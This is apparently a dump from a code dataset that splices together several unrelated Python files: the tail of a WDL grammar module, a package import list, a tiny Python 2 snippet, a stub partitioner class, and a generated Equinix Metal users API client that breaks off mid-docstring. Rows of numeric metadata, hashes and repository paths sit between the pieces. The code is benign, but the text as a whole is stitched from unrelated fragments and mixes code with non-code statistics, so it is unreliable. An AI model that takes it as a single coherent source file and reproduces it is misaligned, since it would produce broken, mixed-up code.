?expr_infix2: expr_infix2 "==" expr_infix3 -> eqeq
| expr_infix2 "!=" expr_infix3 -> neq
| expr_infix2 "<=" expr_infix3 -> lte
| expr_infix2 ">=" expr_infix3 -> gte
| expr_infix2 "<" expr_infix3 -> lt
| expr_infix2 ">" expr_infix3 -> gt
| expr_infix3
?expr_infix3: expr_infix3 "+" expr_infix4 -> add
| expr_infix3 "-" expr_infix4 -> sub
| expr_infix4
?expr_infix4: expr_infix4 "*" expr_infix5 -> mul
| expr_infix4 "/" expr_infix5 -> div
| expr_infix4 "%" expr_infix5 -> rem
| expr_infix5
?expr_infix5: expr_core
?literal: "true"-> boolean_true
| "false" -> boolean_false
| INT -> int
| SIGNED_INT -> int
| FLOAT -> float
| SIGNED_FLOAT -> float
?string: string1 | string2
STRING_INNER1: ("\\'"|/[^']/)
ESCAPED_STRING1: "'" STRING_INNER1* "'"
string_literal: ESCAPED_STRING | ESCAPED_STRING1
?map_key: literal | string
map_kv: map_key ":" expr
// expression core (everything but infix)
// we stuck this last down here so that further language-version-specific
// productions can be added below
?expr_core: "(" expr ")"
| literal
| string
| "!" expr_core -> negate
| "[" [expr ("," expr)*] ","? "]" -> array
| expr_core "[" expr "]" -> at
| "(" expr "," expr ")" -> pair
| "{" [map_kv ("," map_kv)*] ","? "}" -> map
| "if" expr "then" expr "else" expr -> ifthenelse
| CNAME "(" [expr ("," expr)*] ")" -> apply
| CNAME -> left_name
| expr_core "." CNAME -> get_name
"""
# draft-2 specific productions:
# - predefined types only
# - interpolated strings and { } and <<< >>> command styles all have placeholders delimited by ${ }
# - workflow outputs can be bare identifiers rather than complete decls
productions_pre_1_0 = r"""
// WDL types
type: BUILTIN_TYPE _quant?
| BUILTIN_TYPE "[" type ["," type] "]" _quant?
BUILTIN_TYPE.2: "Int" | "Float" | "Boolean" | "String" | "File" | "Array" | "Map" | "Pair"
// string (single-quoted)
STRING1_CHAR: "\\'" | /[^'$]/ | /\$[^{$']/
STRING1_FRAGMENT: STRING1_CHAR+
string1: /'/ (STRING1_FRAGMENT? /\$/* "${" expr "}")* STRING1_FRAGMENT? /\$/* /'/ -> string
// string (double-quoted)
STRING2_CHAR: "\\\"" | /[^"$]/ | /\$[^{$"]/
STRING2_FRAGMENT: STRING2_CHAR+
string2: /"/ (STRING2_FRAGMENT? /\$/* "${" expr "}")* STRING2_FRAGMENT? /\$/* /"/ -> string
COMMAND1_CHAR: /[^$}]/ | /\$[^{$]/
COMMAND1_FRAGMENT: COMMAND1_CHAR+
command1: "command" "{" (COMMAND1_FRAGMENT? /\$/* "${" placeholder "}")* COMMAND1_FRAGMENT? /\$/* "}" -> command
COMMAND2_CHAR: /[^$>]/ | /\$[^{$]/ | />[^>]/ | />>[^>]/
COMMAND2_FRAGMENT: COMMAND2_CHAR+
command2: "command" "<<<" (COMMAND2_FRAGMENT? /\$/* "${" placeholder "}")* COMMAND2_FRAGMENT? /\$/* ">>>" -> command
?workflow_outputs: "output" "{" workflow_output_decls "}"
workflow_output_decls: workflow_output_decl*
?workflow_output_decl: bound_decl | namespaced_ident | workflow_wildcard_output
workflow_wildcard_output: namespaced_ident "." "*" | namespaced_ident ".*"
?document_element: import_doc | task | workflow
"""
# 1.0 productions:
# - types can be any CNAME (structs)
# - within interpolated strings and { } task commands, placeholders may be delimited by ${ } or ~{ }
# - within <<< >>> commands, placeholders are delimited by ~{ } only
# - workflow outputs are complete decls
# - struct type definitions
# - struct literals (as object literals)
productions_1_0 = r"""
| "object" "{" [object_kv ("," object_kv)* ","?] "}" -> obj // appends to expr_core
object_kv: CNAME ":" expr
| string_literal ":" expr
// WDL types
type: CNAME _quant?
| CNAME "[" type ["," type] "]" _quant?
_EITHER_DELIM.2: "~{" | "${"
// string (single-quoted)
STRING1_CHAR: "\\'" | /[^'~$]/ | /\$[^{$~']/ | /\~[^{$~']/
STRING1_FRAGMENT: STRING1_CHAR+
string1: /'/ (STRING1_FRAGMENT? /\$/* /\~/* _EITHER_DELIM expr "}")* STRING1_FRAGMENT? /\$/* /\~/* /'/ -> string
// string (double-quoted)
STRING2_CHAR: "\\\"" | /[^"~$]/ | /\$[^{$~"]/ | /~[^{$~"]/
STRING2_FRAGMENT: STRING2_CHAR+
string2: /"/ (STRING2_FRAGMENT? /\$/* /\~/* _EITHER_DELIM expr "}")* STRING2_FRAGMENT? /\$/* /\~/* /"/ -> string
COMMAND1_CHAR: /[^~$}]/ | /\$[^{$~]/ | /~[^{$~]/
COMMAND1_FRAGMENT: COMMAND1_CHAR+
command1: "command" "{" (COMMAND1_FRAGMENT? /\$/* /\~/* _EITHER_DELIM placeholder "}")* COMMAND1_FRAGMENT? /\$/* /\~/* "}" -> command
COMMAND2_CHAR: /[^~>]/ | /~[^{~]/ | />[^>]/ | />>[^>]/
COMMAND2_FRAGMENT: COMMAND2_CHAR+
command2: "command" "<<<" (COMMAND2_FRAGMENT? /\~/? "~{" placeholder "}")* COMMAND2_FRAGMENT? /\~/* ">>>" -> command
?workflow_outputs: output_decls
// struct definitions
struct: "struct" CNAME "{" unbound_decl* "}"
?document_element: import_doc | task | workflow | struct
"""
versions = {}
versions["draft-2"] = productions_common1 + productions_pre_1_0
versions["1.0"] = productions_common1 + productions_1_0
keywords = {}
keywords["draft-2"] = set(
"Array Float Int Map None Pair String as call command else false if import input left meta object output parameter_meta right runtime scatter task then true workflow".split(
" "
)
)
keywords["1.0"] = keywords["draft-2"] | set(["alias", "struct"])
# Development grammar version; any bugfixes to the draft-2/1.0 grammar may need to be forward-
# ported into this.
versions[
"development"
] = r"""
///////////////////////////////////////////////////////////////////////////////////////////////////
// document
///////////////////////////////////////////////////////////////////////////////////////////////////
document: version? document_element*
| version? document_element*
version: "version" /[^ \t\r\n]+/
?document_element: import_doc | task | workflow | struct
import_doc: "import" string_literal ["as" CNAME] import_alias*
import_alias: "alias" CNAME "as" CNAME
///////////////////////////////////////////////////////////////////////////////////////////////////
// workflow
///////////////////////////////////////////////////////////////////////////////////////////////////
workflow: "workflow" CNAME "{" workflow_element* "}"
?workflow_element: input_decls | any_decl | call | scatter | conditional | workflow_outputs | meta_section
scatter: "scatter" "(" CNAME "in" expr ")" "{" inner_workflow_element* "}"
conditional: "if" "(" expr ")" "{" inner_workflow_element* "}"
?inner_workflow_element: any_decl | call | scatter | conditional
call: "call" namespaced_ident call_body? -> call
| "call" namespaced_ident "as" CNAME call_body? -> call_as
namespaced_ident: CNAME ("." CNAME)*
call_inputs: "input" ":" [call_input ("," call_input)*] ","?
?call_body: "{" call_inputs? "}"
call_input: CNAME "=" expr
?workflow_outputs: output_decls
///////////////////////////////////////////////////////////////////////////////////////////////////
// task
///////////////////////////////////////////////////////////////////////////////////////////////////
task: "task" CNAME "{" task_section* command task_section* "}"
?task_section: input_decls
| output_decls
| meta_section
| runtime_section
| any_decl -> noninput_decl
tasks: task*
input_decls: "input" "{" any_decl* "}"
output_decls: "output" "{" bound_decl* "}"
// WDL task commands: with {} and <<< >>> command and ${} and ~{} placeholder styles
!?placeholder_key: "default" | "false" | "true" | "sep"
?placeholder_value: string_literal
| INT -> int
| FLOAT -> float
placeholder_option: placeholder_key "=" placeholder_value
placeholder: placeholder_option* expr
?command: command1 | command2
// meta/parameter_meta sections (effectively JSON)
meta_object: "{" [meta_kv (","? meta_kv)*] "}"
meta_kv: CNAME ":" meta_value
?meta_value: literal | string_literal
| meta_object
| "[" [meta_value ("," meta_value)*] "]" -> meta_array
!meta_section: ("meta" | "parameter_meta") meta_object
// task runtime section (key-expression pairs)
runtime_section: "runtime" "{" [runtime_kv (","? runtime_kv)*] "}"
runtime_kv: CNAME ":" expr
///////////////////////////////////////////////////////////////////////////////////////////////////
// decl
///////////////////////////////////////////////////////////////////////////////////////////////////
unbound_decl: type CNAME -> decl
bound_decl: type CNAME "=" expr -> decl
?any_decl: unbound_decl | bound_decl
struct: "struct" CNAME "{" unbound_decl* "}"
///////////////////////////////////////////////////////////////////////////////////////////////////
// type
///////////////////////////////////////////////////////////////////////////////////////////////////
// WDL types
type: CNAME _quant?
| CNAME "[" type ["," type] "]" _quant?
_quant: optional | nonempty | optional_nonempty
optional: "?"
nonempty: "+"
optional_nonempty: "+?"
///////////////////////////////////////////////////////////////////////////////////////////////////
// expr
///////////////////////////////////////////////////////////////////////////////////////////////////
?expr: expr_infix
?expr_infix: expr_infix0
?expr_infix0: expr_infix0 "||" expr_infix1 -> lor
| expr_infix1
?expr_infix1: expr_infix1 "&&" expr_infix2 -> land
| expr_infix2
?expr_infix2: expr_infix2 "==" expr_infix3 -> eqeq
| expr_infix2 "!=" expr_infix3 -> neq
| expr_infix2 "<=" expr_infix3 -> lte
| expr_infix2 ">=" expr_infix3 -> gte
| expr_infix2 "<" expr_infix3 -> lt
| expr_infix2 ">" expr_infix3 -> gt
| expr_infix3
?expr_infix3: expr_infix3 "+" expr_infix4 -> add
| expr_infix3 "-" expr_infix4 -> sub
| expr_infix4
?expr_infix4: expr_infix4 "*" expr_infix5 -> mul
| expr_infix4 "/" expr_infix5 -> div
| expr_infix4 "%" expr_infix5 -> rem
| expr_infix5
?expr_infix5: expr_core
// expression core (everything but infix)
// we stuck this last down here so that further language-version-specific
// productions can be added below
?expr_core: "(" expr ")"
| literal
| string
| "!" expr_core -> negate
| "[" [expr ("," expr)*] ","? "]" -> array
| expr_core "[" expr "]" -> at
| "(" expr "," expr ")" -> pair
| "{" [map_kv ("," map_kv)*] ","? "}" -> map
| "if" expr "then" expr "else" expr -> ifthenelse
| CNAME "(" [expr ("," expr)*] ")" -> apply
| CNAME -> left_name
| expr_core "." CNAME -> get_name
| "object" "{" [object_kv ("," object_kv)* ","?] "}" -> obj
?map_key: literal | string
map_kv: map_key ":" expr
object_kv: CNAME ":" expr
| string_literal ":" expr
///////////////////////////////////////////////////////////////////////////////////////////////////
// literals & string interpolations
///////////////////////////////////////////////////////////////////////////////////////////////////
?literal: "true"-> boolean_true
| "false" -> boolean_false
| INT -> int
| SIGNED_INT -> int
| FLOAT -> float
| SIGNED_FLOAT -> float
?string: string1 | string2
STRING_INNER1: ("\\'"|/[^']/)
ESCAPED_STRING1: "'" STRING_INNER1* "'"
string_literal: ESCAPED_STRING | ESCAPED_STRING1
_EITHER_DELIM.2: "~{" | "${"
// string (single-quoted)
STRING1_CHAR: "\\'" | /[^'~$]/ | /\$[^{$~']/ | /\~[^{$~']/
STRING1_FRAGMENT: STRING1_CHAR+
string1: /'/ (STRING1_FRAGMENT? /\$/* /\~/* _EITHER_DELIM expr "}")* STRING1_FRAGMENT? /\$/* /\~/* /'/ -> string
// string (double-quoted)
STRING2_CHAR: "\\\"" | /[^"~$]/ | /\$[^{$~"]/ | /~[^{$~"]/
STRING2_FRAGMENT: STRING2_CHAR+
string2: /"/ (STRING2_FRAGMENT? /\$/* /\~/* _EITHER_DELIM expr "}")* STRING2_FRAGMENT? /\$/* /\~/* /"/ -> string
COMMAND1_CHAR: /[^~$}]/ | /\$[^{$~]/ | /~[^{$~]/
COMMAND1_FRAGMENT: COMMAND1_CHAR+
command1: "command" "{" (COMMAND1_FRAGMENT? /\$/* /\~/* _EITHER_DELIM placeholder "}")* COMMAND1_FRAGMENT? /\$/* /\~/* "}" -> command
COMMAND2_CHAR: /[^~>]/ | /~[^{~]/ | />[^>]/ | />>[^>]/
COMMAND2_FRAGMENT: COMMAND2_CHAR+
command2: "command" "<<<" (COMMAND2_FRAGMENT? /\~/? "~{" placeholder "}")* COMMAND2_FRAGMENT? /\~/* ">>>" -> command
CNAME: /[a-zA-Z][a-zA-Z0-9_]*/
%import common.INT
%import common.SIGNED_INT
%import common.FLOAT
%import common.SIGNED_FLOAT
%import common.ESCAPED_STRING
///////////////////////////////////////////////////////////////////////////////////////////////////
// whitespace/comments
///////////////////////////////////////////////////////////////////////////////////////////////////
%import common.NEWLINE
SPACE: /[ \t]+/
COMMENT: /[ \t]*/ "#" /[^\r\n]*/
%ignore SPACE
%ignore NEWLINE
%ignore COMMENT
"""
keywords["development"] = set(
"Array Float Int Map None Pair String alias as call command else false if import input left meta object output parameter_meta right runtime scatter struct task then true workflow".split(
" "
)
)
assert set(versions.keys()) == set(keywords.keys())
def get(version: Optional[str] = None) -> Tuple[str, Set[str]]:
version = version or "1.0"
return (versions[version], keywords[version])
| 34.849398 | 190 | 0.51743 | 1,594 | 17,355 | 5.366374 | 0.132371 | 0.023381 | 0.026187 | 0.028057 | 0.835399 | 0.816928 | 0.791676 | 0.773907 | 0.762684 | 0.718494 | 0 | 0.013844 | 0.16756 | 17,355 | 497 | 191 | 34.919517 | 0.578252 | 0.043791 | 0 | 0.876374 | 0 | 0.013736 | 0.96013 | 0.192111 | 0 | 0 | 0 | 0 | 0.002747 | 1 | 0.002747 | false | 0 | 0.06044 | 0 | 0.065934 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
941303bda83421205154cbdf1bc706752a982716 | 2,363 | py | Python | groupdocs_merger_cloud/models/__init__.py | groupdocs-merger-cloud/groupdocs-merger-cloud-python | 39638fb832fd681a9f07a7fb399b31f3ef2d9b89 | [
"MIT"
] | null | null | null | groupdocs_merger_cloud/models/__init__.py | groupdocs-merger-cloud/groupdocs-merger-cloud-python | 39638fb832fd681a9f07a7fb399b31f3ef2d9b89 | [
"MIT"
] | null | null | null | groupdocs_merger_cloud/models/__init__.py | groupdocs-merger-cloud/groupdocs-merger-cloud-python | 39638fb832fd681a9f07a7fb399b31f3ef2d9b89 | [
"MIT"
] | null | null | null | # coding: utf-8
# flake8: noqa
from __future__ import absolute_import
# import models
from groupdocs_merger_cloud.models.consumption_result import ConsumptionResult
from groupdocs_merger_cloud.models.disc_usage import DiscUsage
from groupdocs_merger_cloud.models.document_result import DocumentResult
from groupdocs_merger_cloud.models.error import Error
from groupdocs_merger_cloud.models.error_details import ErrorDetails
from groupdocs_merger_cloud.models.file_info import FileInfo
from groupdocs_merger_cloud.models.file_versions import FileVersions
from groupdocs_merger_cloud.models.files_list import FilesList
from groupdocs_merger_cloud.models.files_upload_result import FilesUploadResult
from groupdocs_merger_cloud.models.format import Format
from groupdocs_merger_cloud.models.formats_result import FormatsResult
from groupdocs_merger_cloud.models.info_result import InfoResult
from groupdocs_merger_cloud.models.join_item import JoinItem
from groupdocs_merger_cloud.models.join_options import JoinOptions
from groupdocs_merger_cloud.models.multi_document_result import MultiDocumentResult
from groupdocs_merger_cloud.models.object_exist import ObjectExist
from groupdocs_merger_cloud.models.options import Options
from groupdocs_merger_cloud.models.page_info import PageInfo
from groupdocs_merger_cloud.models.password_result import PasswordResult
from groupdocs_merger_cloud.models.storage_exist import StorageExist
from groupdocs_merger_cloud.models.storage_file import StorageFile
from groupdocs_merger_cloud.models.file_version import FileVersion
from groupdocs_merger_cloud.models.import_options import ImportOptions
from groupdocs_merger_cloud.models.move_options import MoveOptions
from groupdocs_merger_cloud.models.page_options import PageOptions
from groupdocs_merger_cloud.models.swap_options import SwapOptions
from groupdocs_merger_cloud.models.update_password_options import UpdatePasswordOptions
from groupdocs_merger_cloud.models.extract_options import ExtractOptions
from groupdocs_merger_cloud.models.orientation_options import OrientationOptions
from groupdocs_merger_cloud.models.preview_options import PreviewOptions
from groupdocs_merger_cloud.models.remove_options import RemoveOptions
from groupdocs_merger_cloud.models.rotate_options import RotateOptions
from groupdocs_merger_cloud.models.split_options import SplitOptions
| 59.075 | 87 | 0.907321 | 309 | 2,363 | 6.601942 | 0.249191 | 0.210294 | 0.307353 | 0.388235 | 0.515686 | 0.221569 | 0 | 0 | 0 | 0 | 0 | 0.000903 | 0.062209 | 2,363 | 39 | 88 | 60.589744 | 0.919675 | 0.016928 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.058824 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
9440e19f0e247c9a186cf0a5163252f6c55759dd | 30 | py | Python | tests/basic/multiassign.py | treeform/pystorm | 3a2224bcdaccc5a2abf6a820c0bcf7afa3e6fed4 | [
"MIT"
] | 50 | 2015-03-24T19:45:34.000Z | 2022-02-20T04:34:26.000Z | tests/basic/multiassign.py | MoonStarCZW/py2js | 6cda2b1d3cf281a5ca92c18b08ac9fa1c389cbea | [
"MIT"
] | 2 | 2017-02-26T09:43:07.000Z | 2017-03-06T20:04:24.000Z | tests/basic/multiassign.py | Slater-Victoroff/pyjaco | 89c4e3c46399c5023b0e160005d855a01241c58a | [
"MIT"
] | 12 | 2016-03-07T09:30:49.000Z | 2021-09-05T20:38:47.000Z |
x,y,z = (1,2,3)
print x,y,z
| 6 | 15 | 0.466667 | 10 | 30 | 1.4 | 0.7 | 0.285714 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 0.233333 | 30 | 4 | 16 | 7.5 | 0.478261 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.5 | 1 | 1 | 1 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 9 |
84b3d38dda18306352a8e59c27e61ceed15d54f7 | 1,831 | py | Python | python/geospark/core/jvm/partitioner.py | Maxar-Corp/GeoSpark | 6248c6773dc88bf3354ea9b223f16ceb064e7627 | [
"Apache-2.0",
"MIT"
] | 7 | 2019-10-10T05:47:37.000Z | 2020-09-08T06:37:03.000Z | python/geospark/core/jvm/partitioner.py | mayankkt9/GeoSpark | 618da90413f7d86c59def92ba765fbd6d9d49761 | [
"Apache-2.0",
"MIT"
] | 3 | 2019-12-16T16:49:57.000Z | 2021-08-23T20:43:32.000Z | python/geospark/core/jvm/partitioner.py | mayankkt9/GeoSpark | 618da90413f7d86c59def92ba765fbd6d9d49761 | [
"Apache-2.0",
"MIT"
] | 3 | 2019-10-17T16:10:41.000Z | 2022-01-24T12:56:21.000Z | import attr
@attr.s
class JvmPartitioner:
jpart = attr.ib()
def assignPartitionIds(self):
raise NotImplementedError("Currently not supported")
def assignPartitionLineage(self):
raise NotImplementedError("Currently not supported")
def dropElements(self):
raise NotImplementedError("Currently not supported")
def equals(self):
raise NotImplementedError("Currently not supported")
def findZone(self):
raise NotImplementedError("Currently not supported")
def forceGrowUp(self):
raise NotImplementedError("Currently not supported")
def getAllZones(self):
raise NotImplementedError("Currently not supported")
def getClass(self):
raise NotImplementedError("Currently not supported")
def getElements(self):
raise NotImplementedError("Currently not supported")
def getLeafZones(self):
raise NotImplementedError("Currently not supported")
def getParentZone(self):
raise NotImplementedError("Currently not supported")
def getTotalNumLeafNode(self):
raise NotImplementedError("Currently not supported")
def getZone(self):
raise NotImplementedError("Currently not supported")
def hashCode(self):
raise NotImplementedError("Currently not supported")
def insert(self):
raise NotImplementedError("Currently not supported")
def isLeaf(self):
raise NotImplementedError("Currently not supported")
def notify(self):
raise NotImplementedError("Currently not supported")
def notifyAll(self):
raise NotImplementedError("Currently not supported")
def toString(self):
raise NotImplementedError("Currently not supported")
def wait(self):
raise NotImplementedError("Currently not supported")
| 27.328358 | 60 | 0.704533 | 169 | 1,831 | 7.633136 | 0.201183 | 0.139535 | 0.434109 | 0.573643 | 0.803876 | 0.803876 | 0.765891 | 0 | 0 | 0 | 0 | 0 | 0.215183 | 1,831 | 66 | 61 | 27.742424 | 0.897704 | 0 | 0 | 0.454545 | 0 | 0 | 0.251229 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.454545 | false | 0 | 0.022727 | 0 | 0.522727 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
170505bad53e63b3b83fb6e9fa0b0e7e776629a9 | 49,562 | py | Python | metal/models/users_api.py | displague/metal-python | 96e64e9ac41025d85ff6f61693165e29e1c366db | [
"MIT"
] | null | null | null | metal/models/users_api.py | displague/metal-python | 96e64e9ac41025d85ff6f61693165e29e1c366db | [
"MIT"
] | 3 | 2021-09-27T05:10:36.000Z | 2021-09-27T06:10:57.000Z | metal/models/users_api.py | displague/metal-python | 96e64e9ac41025d85ff6f61693165e29e1c366db | [
"MIT"
] | null | null | null | # coding: utf-8
"""
Metal API
This is the API for Equinix Metal. The API allows you to programmatically interact with all of your Equinix Metal resources, including devices, networks, addresses, organizations, projects, and your user account. The official API docs are hosted at <https://metal.equinix.com/developers/api>. # noqa: E501
The version of the OpenAPI document: 1.0.0
Contact: support@equinixmetal.com
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from metal.api_client import ApiClient
from metal.exceptions import ( # noqa: F401
ApiTypeError,
ApiValueError
)
class UsersApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_user(self, user, **kwargs): # noqa: E501
"""Create a user # noqa: E501
Creates a user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_user(user, async_req=True)
>>> result = thread.get()
:param user: User to create (required)
:type user: UserCreateInput
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: User
"""
kwargs['_return_http_data_only'] = True
return self.create_user_with_http_info(user, **kwargs) # noqa: E501
def create_user_with_http_info(self, user, **kwargs): # noqa: E501
"""Create a user # noqa: E501
Creates a user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_user_with_http_info(user, async_req=True)
>>> result = thread.get()
:param user: User to create (required)
:type user: UserCreateInput
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(User, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'user'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method create_user" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in local_var_params or # noqa: E501
local_var_params['user'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `user` when calling `create_user`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'user' in local_var_params:
body_params = local_var_params['user']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['x_auth_token'] # noqa: E501
response_types_map = {
201: "User",
401: "Error",
422: "Error",
}
return self.api_client.call_api(
'/users', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_types_map=response_types_map,
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def find_current_user(self, **kwargs): # noqa: E501
"""Retrieve the current user # noqa: E501
Returns the user object for the currently logged-in user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_current_user(async_req=True)
>>> result = thread.get()
:param include: Nested attributes to include. Included objects will return their full attributes. Attribute names can be dotted (up to 3 levels) to included deeply nested objects.
:type include: list[str]
:param exclude: Nested attributes to exclude. Excluded objects will return only the href attribute. Attribute names can be dotted (up to 3 levels) to exclude deeply nested objects.
:type exclude: list[str]
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: User
"""
kwargs['_return_http_data_only'] = True
return self.find_current_user_with_http_info(**kwargs) # noqa: E501
def find_current_user_with_http_info(self, **kwargs): # noqa: E501
"""Retrieve the current user # noqa: E501
Returns the user object for the currently logged-in user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_current_user_with_http_info(async_req=True)
>>> result = thread.get()
:param include: Nested attributes to include. Included objects will return their full attributes. Attribute names can be dotted (up to 3 levels) to included deeply nested objects.
:type include: list[str]
:param exclude: Nested attributes to exclude. Excluded objects will return only the href attribute. Attribute names can be dotted (up to 3 levels) to exclude deeply nested objects.
:type exclude: list[str]
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(User, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'include',
'exclude'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method find_current_user" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'include' in local_var_params and local_var_params['include'] is not None: # noqa: E501
query_params.append(('include', local_var_params['include'])) # noqa: E501
collection_formats['include'] = 'csv' # noqa: E501
if 'exclude' in local_var_params and local_var_params['exclude'] is not None: # noqa: E501
query_params.append(('exclude', local_var_params['exclude'])) # noqa: E501
collection_formats['exclude'] = 'csv' # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['x_auth_token'] # noqa: E501
response_types_map = {
200: "User",
401: "Error",
}
return self.api_client.call_api(
'/user', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_types_map=response_types_map,
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def find_invitations(self, **kwargs): # noqa: E501
"""Retrieve current user invitations # noqa: E501
Returns all invitations in current user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_invitations(async_req=True)
>>> result = thread.get()
:param include: Nested attributes to include. Included objects will return their full attributes. Attribute names can be dotted (up to 3 levels) to included deeply nested objects.
:type include: list[str]
:param exclude: Nested attributes to exclude. Excluded objects will return only the href attribute. Attribute names can be dotted (up to 3 levels) to exclude deeply nested objects.
:type exclude: list[str]
:param page: Page to return
:type page: int
:param per_page: Items returned per page
:type per_page: int
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
